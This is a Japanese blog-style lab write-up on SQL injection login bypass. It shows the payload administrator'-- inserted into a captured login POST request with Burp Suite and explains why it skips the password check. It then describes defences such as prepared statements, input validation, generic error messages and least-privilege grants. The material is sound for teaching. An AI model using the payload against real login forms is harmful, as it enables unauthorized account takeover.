Shikata Ga Nai

Private? There is no such things.

LAB: SQLインジェクションを利用したログインバイパス

Hello there, ('ω')ノ

このラボでは、SQLインジェクションを利用してパスワードなしで管理者アカウントにログイン する方法を実践します。


🛠️ ラボの概要

このアプリケーションは、ユーザー名とパスワードを使ってログイン認証を行います。
通常、ログイン時に実行されるSQLクエリは以下のようになっています。

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese';

このクエリは、ユーザー名とパスワードが一致するレコードがあればログイン成功 となる仕組みです。

しかし、SQLインジェクションを使えば、パスワードを知らなくても 管理者アカウント(administrator) にログインできます。


🎯 攻撃の手順

1️⃣ Burp Suite を起動し、ログインリクエストをキャプチャ

  1. Burp Suite を開き、Proxy タブを有効にする。
  2. ブラウザを Burp のプロキシを通じて起動 し、ラボのログインページを開く。
  3. ダミーのユーザー名とパスワードを入力し、ログインボタンを押す。
  4. Burp Suite の Intercept にリクエストが表示される ので、username パラメータを変更する。

2️⃣ SQLインジェクションを仕込む

キャプチャしたリクエストの username パラメータを以下のように変更する。

administrator'--

変更前のリクエスト

POST /login HTTP/1.1
Host: insecure-website.com
Content-Type: application/x-www-form-urlencoded

username=wiener&password=bluecheese

⬇️ 変更後のリクエスト

POST /login HTTP/1.1
Host: insecure-website.com
Content-Type: application/x-www-form-urlencoded

username=administrator'--&password=

3️⃣ 変更したリクエストを送信し、管理者としてログイン

  1. Forward ボタンを押してリクエストを送信する。
  2. ブラウザでログイン後のページを確認し、管理者としてログインできているかをチェック する。
  3. 成功すればラボクリア! 🎉

🧐 仕組みを解説

上記の攻撃により、サーバーが実行するSQLクエリは以下のように変化します。

SELECT * FROM users WHERE username = 'administrator'--' AND password = '';

-- はSQLのコメントアウト記号 なので、それ以降の AND password = '' の部分は無視され、最終的なクエリは次のようになります。

SELECT * FROM users WHERE username = 'administrator';

この結果、administrator アカウントのデータが取得され、パスワードチェックなしでログインが成功します。

結果: パスワードなしで管理者アカウントにログイン可能!


🔒 防御策(SQLインジェクションを防ぐ方法)

このような攻撃を防ぐには、以下の対策を必ず実装する必要があります。

1️⃣ プリペアドステートメントを使用する(最優先)

SQLインジェクションを確実に防ぐためには、プリペアドステートメント(バインド変数) を使用するのが最も効果的です。

安全なコード例(PHP + PDO)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

この方法では、ユーザーの入力値がSQLの一部として解釈されず、安全に処理されます。


2️⃣ ユーザー入力のバリデーションを行う

  • username英数字のみ許可 する。
  • SQLの特殊文字(', --, ;, " など)をブロックする。

入力値のバリデーション(PHP)

if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username.");
}

3️⃣ エラーメッセージを適切に処理する

  • データベースのエラーメッセージをユーザーに直接表示しない。
  • 一般的なエラーメッセージ(「認証に失敗しました」など)を返すようにする。

安全なエラーハンドリング(PHP)

try {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->execute([$username, $password]);
} catch (Exception $e) {
    error_log($e->getMessage()); // ログには詳細を記録
    die("Login failed.");
}

4️⃣ データベースの権限を最小限にする

  • アプリケーションのDBユーザーには、必要最低限の権限のみ を付与する。
  • SELECT のみ許可し、DROPUPDATE は制限する。

安全な権限設定(MySQL)

GRANT SELECT ON shop.users TO 'app_user'@'localhost';

✅ まとめ

🎯 攻撃手法のポイント
1. administrator'-- を入力することで、パスワードなしで管理者アカウントにログイン
2. -- を使用してパスワードチェックをコメントアウト

🛡 防御策(必ず実装すること!)
プリペアドステートメントを使用する(最優先)
ユーザー入力のバリデーションを行う(特殊文字をブロック)
エラーメッセージを適切に処理する(SQLエラーを表示しない)
データベースの権限を最小限にする(SELECT のみ許可)

SQLインジェクションは、適切な対策を実施することで確実に防ぐことが可能です。
開発時には必ず 「このコードはSQLiに対して安全か?」 を意識し、安全なアプリケーションを構築しましょう! 🚀

Best regards, (^^ゞ